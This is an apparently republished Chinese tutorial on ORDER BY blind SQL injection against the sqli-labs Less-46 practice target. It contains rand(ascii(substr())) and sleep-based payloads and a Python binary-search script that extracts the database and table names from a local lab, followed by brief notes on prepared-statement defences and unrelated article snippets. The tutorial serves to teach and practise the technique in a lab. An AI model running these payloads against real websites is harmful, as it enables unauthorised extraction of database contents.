SQL注入之order by脚本盲注

一、环境

还是用上次搭建的sql-labs靶机环境

搭建sql注入环境

二、什么是order by盲注

在有的时候我们进行sql注入时,源码的查询语句后面为order by;
众所周知,order by 后面接的字段或者数字不一样,那么这个数据表的排序就会不同;
我们恰恰就可以利用这点来进行注入,
对查询的数据的每个字符的ascii码进行比较判断(其判断返回值只会为True(真)和False(假)),
将其返回值的放入rand()函数中  对数据表进行排序,
当显示出现变化时则可以判断出我们所要数据的字符,在对其进行拼接即可,
对此盲注方法我们采用脚本来快速实现

三、实现

环境为sql-labs靶机的第46关

查看源码得知要让我们选择字段进行排序

以1(id)、2(username)、3(password)字段为例,查看效果

可以看到不同字段的顺序是不同的,根据这个原理,我们可以通过上面我说的用rand()实现一个盲注,效果如下

?sort=rand(ascii(substr((select database()),1,1))>114)

显然,转为ASCII码来比较真假,为真时第一列为admin3,为假时第一列为Dumb,那么根据此现象,我们就可以对其写一个脚本,帮助我们快速实现注入

我们通过第一个用户字段进行爬取判断,为真时是admin3
编写一份爆库名和表名的注入脚本(注释在里面)

import requests
import time
from bs4 import BeautifulSoup"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""def inject_database(url):"""使用二分法查询  aaaaaaaaaaaaaaaaaaaa"""name = ''for i in range(1, 50):low = 32high = 128mid = (low + high) // 2while low < high:# 爆库名payload = "rand(ascii(substr((select database()),%d,1))>%d)" % (i, mid)# 爆表名# payload = "rand(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), %d, 1))>%d)" % (i, mid)# 将payload作为参数传递给请求params = {"sort": payload}# start_time = time.time()# 发送一个GET请求到指定的URL,带上构造好的参数r = requests.get(url, params=params)# 获取请求得到的HTML响应内容html = r.text# 使用BeautifulSoup解析HTML内容soup = BeautifulSoup(html, 'html.parser')# 从HTML中找到第二个<td>标签,并获取其文本内容,这似乎是用来获取用户名getusername = soup.find_all('td')[1].text# end_time = time.time()# 检查获取的用户名是否为'admin3',如果是,则更新low的值if getusername == 'admin3':low = mid + 1# 如果获取的用户名不是'admin3',则更新high的值else:high = mid# 更新中间值,继续二分查找mid = (low + high) // 2if mid == 32:break# 将找到的字符添加到name中name += chr(mid)# 打印出当前已经找到的数据库名称print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli-labs-php7-master/Less-46/'inject_database(url)

先爆库名:security

再爆表名:emails,referers,uagents,users

我们爆出了4张表,很明显users表是很重要的一张,后续想要什么数据即可根据需求修改脚本中的payload即可

四、如何防御

防御机制:

PDO预编译:

模拟编译:

PHP的底层把单引号自动转译,但是遇见宽字节会失效,但是遇见真实的预编译这里就不会失效,

真实编译:

如果在预编译的形势下,还是用拼接传递参数,那么预编译不会生效,order by后面本身会存在注入点,但是预编译情况下,没有办法在order by后面实现预编译,如果想功能正常,还是得用拼接的方法去使用,这种情况下也有可能实现sql注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2812116.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式学习第二十一天!(线程)

线程&#xff1a; 1. 基本概念&#xff1a; 线程&#xff1a;线程是一个轻量级的进程&#xff0c;位于进程空间内部&#xff0c;一个进程中可以创建多个线程 2. 线程创建&#xff1a; 线程独占栈空间&#xff0c;文本段、数据段和堆区与进程共享 3. 线程调度&#xff1a; 与进程…

探索比特币现货 ETF 对加密货币价格的潜在影响

撰文&#xff1a;Sean&#xff0c;Techub News 文章来源Techub News&#xff0c;搜Tehub News下载查看更多Web3资讯。 自美国比特币现货交易所交易基金&#xff08;ETF&#xff09;上市以来&#xff0c;比特币现货 ETF 的相关信息无疑成为了影响比特币价格及加密货币市场走向…

Java四大引用详解:强引用、软引用、弱引用、虚引用

在JDK1.2以前的版本中&#xff0c;当一个对象不被任何变量引用&#xff0c;那么程序就无法再使用这个对象。也就是说&#xff0c;只有对象处于可触及状态&#xff0c;程序才能使用它。这就像在商店购买了某样物品后&#xff0c;如果有用就一直保留它&#xff0c;否则就把它扔到…

Spring Boot项目中不使用@RequestMapping相关注解,如何动态发布自定义URL路径

一、前言 在Spring Boot项目开发过程中&#xff0c;对于接口API发布URL访问路径&#xff0c;一般都是在类上标识RestController或者Controller注解&#xff0c;然后在方法上标识RequestMapping相关注解&#xff0c;比如&#xff1a;PostMapping、GetMapping注解&#xff0c;通…

【UnityShader入门精要学习笔记】第六章(1)Unity中的基础光照

本系列为作者学习UnityShader入门精要而作的笔记&#xff0c;内容将包括&#xff1a; 书本中句子照抄 个人批注项目源码一堆新手会犯的错误潜在的太监断更&#xff0c;有始无终 总之适用于同样开始学习Shader的同学们进行有取舍的参考。 文章目录 光照的原理光源吸收和散射着…

LinkedList的使用(Java)

目录 一、介绍二、LinkedList的使用1、LinkedList的构造2、 LinkedList的其他常用方法介绍3、LinkedList的遍历 三、ArrayList和LinkedList的区别 一、介绍 LinkedList的底层是双向链表结构&#xff0c;由于链表没有将元素存储在连续的空间中&#xff0c;元素存储在单独的节点…

开发知识点-.netC#图形用户界面开发之WPF

C#图形用户界面开发 框架简介WinForms(Windows Forms):WPF(Windows Presentation Foundation):UWP(Universal Windows Platform):MAUI(Multi-platform App UI):选择控件参考文章随笔分类 - WPF入门基础教程系列基于C#语言的GUI开发,主要介绍WPF框架

IP对讲终端SV-6002(防水)

SV-6002&#xff08;防水&#xff09;是一款IP对讲终端&#xff0c;具有10/100M以太网接口&#xff0c;其接收网络的音频数据&#xff0c;解码后播放&#xff0c;外部DC12~24V电源供电端子&#xff0c;提供单路2W的音频输出。基于TCP/IP网络通信协议和数字音频技术&#xff0c;…

MATLAB练习题:并行计算的parfor循环

​讲解视频&#xff1a;可以在bilibili搜索《MATLAB教程新手入门篇——数学建模清风主讲》。​ MATLAB教程新手入门篇&#xff08;数学建模清风主讲&#xff0c;适合零基础同学观看&#xff09;_哔哩哔哩_bilibili 在MATLAB中&#xff0c;parfor&#xff08;Parallel for&…

Centos配置SSH并禁止密码登录

CentOS8 配置SSH使用密钥登录并禁止密码登录 一、概念 SSH 为 Secure Shell 的缩写,SSH 为建立在应用层基础上的安全协议。SSH 是较可靠&#xff0c;专为远程登录会话和其他网络服务提供安全性的协议。 SSH提供两个级别的认证&#xff1a; 基于口令的认证 基于密钥的认证 基本使…

【大厂AI课学习笔记NO.55】2.3深度学习开发任务实例(8)模型训练

作者简介&#xff1a;giszz&#xff0c;腾讯云人工智能从业者TCA认证&#xff0c;信息系统项目管理师。 博客地址&#xff1a;https://giszz.blog.csdn.net 声明&#xff1a;本学习笔记来自腾讯云人工智能课程&#xff0c;叠加作者查阅的背景资料、延伸阅读信息&#xff0c;及学…

LockBit官宣复活,表示将更多针对政府部门

仅仅在11国联合执法行动宣布成功查封LockBit基础设施服务器不到一周后&#xff0c;2月24日&#xff0c;LockBit 宣布将恢复勒索软件业务&#xff0c;并威胁会将更多的攻击集中在政府部门。 在一个新上线的数据泄露网站上&#xff0c;LockBit仍然使用其3.0 版本的名称&#xff…

【iOS ARKit】ARWorldMap

ARWorldMap 用于存储 ARSession 检测扫描到的空间信息数据&#xff0c;包括地标&#xff08;Landmark&#xff09;、特征点&#xff08;Feature Point&#xff09;、平面&#xff08;Plane&#xff09;等&#xff0c;以及使用者的操作信息&#xff0c;如使用者添加的 ARAnchor …

Wget: 如何批量下载风云卫星和NASA数据?

01 批量下载风云数据 首先进入风云卫星服务官网: https://satellite.nsmc.org.cn/portalsite/default.aspx 假定我们下载火点数据,如下先找到下载界面: 接着依据数据所对应卫星\传感器\产品名称进行检索: 选定需要的数据加入到购物车中: 接着提交订单等待所有数据回调完成就…

TensorFlow2.x 精选笔记(2)自动求导与概率

学习参考&#xff1a; 动手学深度学习2.0Deep-Learning-with-TensorFlow-bookpytorchlightning ①如有冒犯、请联系侵删。 ②已写完的笔记文章会不定时一直修订修改(删、改、增)&#xff0c;以达到集多方教程的精华于一文的目的。 ③非常推荐上面&#xff08;学习参考&#x…

python爬虫实战:获取电子邮件和联系人信息

引言 在数字时代&#xff0c;电子邮件和联系人信息成为了许多企业和个人重要的资源&#xff0c;在本文中&#xff0c;我们将探讨如何使用Python爬虫从网页中提取电子邮件和联系人信息&#xff0c;并附上示例代码。 目录 引言 二、准备工作 你可以使用以下命令来安装这些库&a…

记录一下 Unity团结引擎开发OpenHarmony Next 应用 环境搭建流程

原视频链接 记录环境搭建过程~&#xff0c;本文是图文版本 一、打开团结引擎官网下载对应的 团结引擎版本 官网地址&#xff1a;https://unity.cn/tuanjie/releases 根据各自的开发环境下载对应的软件版本&#xff0c;我是 windwos 环境&#xff0c;我就下载 windows 环境 …

【学习笔记】Vue3源码解析:第二部分-实现响应式(2)

课程地址&#xff1a;【已完结】全网最详细Vue3源码解析&#xff01;&#xff08;一行行带你手写Vue3源码&#xff09; 第二部分-实现响应式&#xff08;2&#xff09;&#xff1a;&#xff08;对应课程的第6-9节&#xff09; 第6节&#xff1a;《实现proxy代理以及解决重复代…

GDB之(1)入门指令参数介绍

GDB之(1)基础入门指令参数介绍 Author&#xff1a;Once Day Date: 2022年7月29日/2024年2月26日 漫漫长路&#xff0c;才刚刚开始… 全系列文章请查看专栏: Linux实践记录_Once-Day的博客-CSDN博客 推荐参考文档&#xff1a; GDB: The GNU Project Debugger (sourceware.o…

32单片机基础:TIM定时中断

STM32中功能最强大&#xff0c;结构最复杂的一个外设——定时器 因为定时器的内容很多&#xff0c;所以本大节总共分为4个部分&#xff0c;8小节。 第一部分&#xff1a;主要讲定时器基本的定时功能,也就是定一个时间&#xff0c;然后让定时器每隔这个时间产生一个中断&#…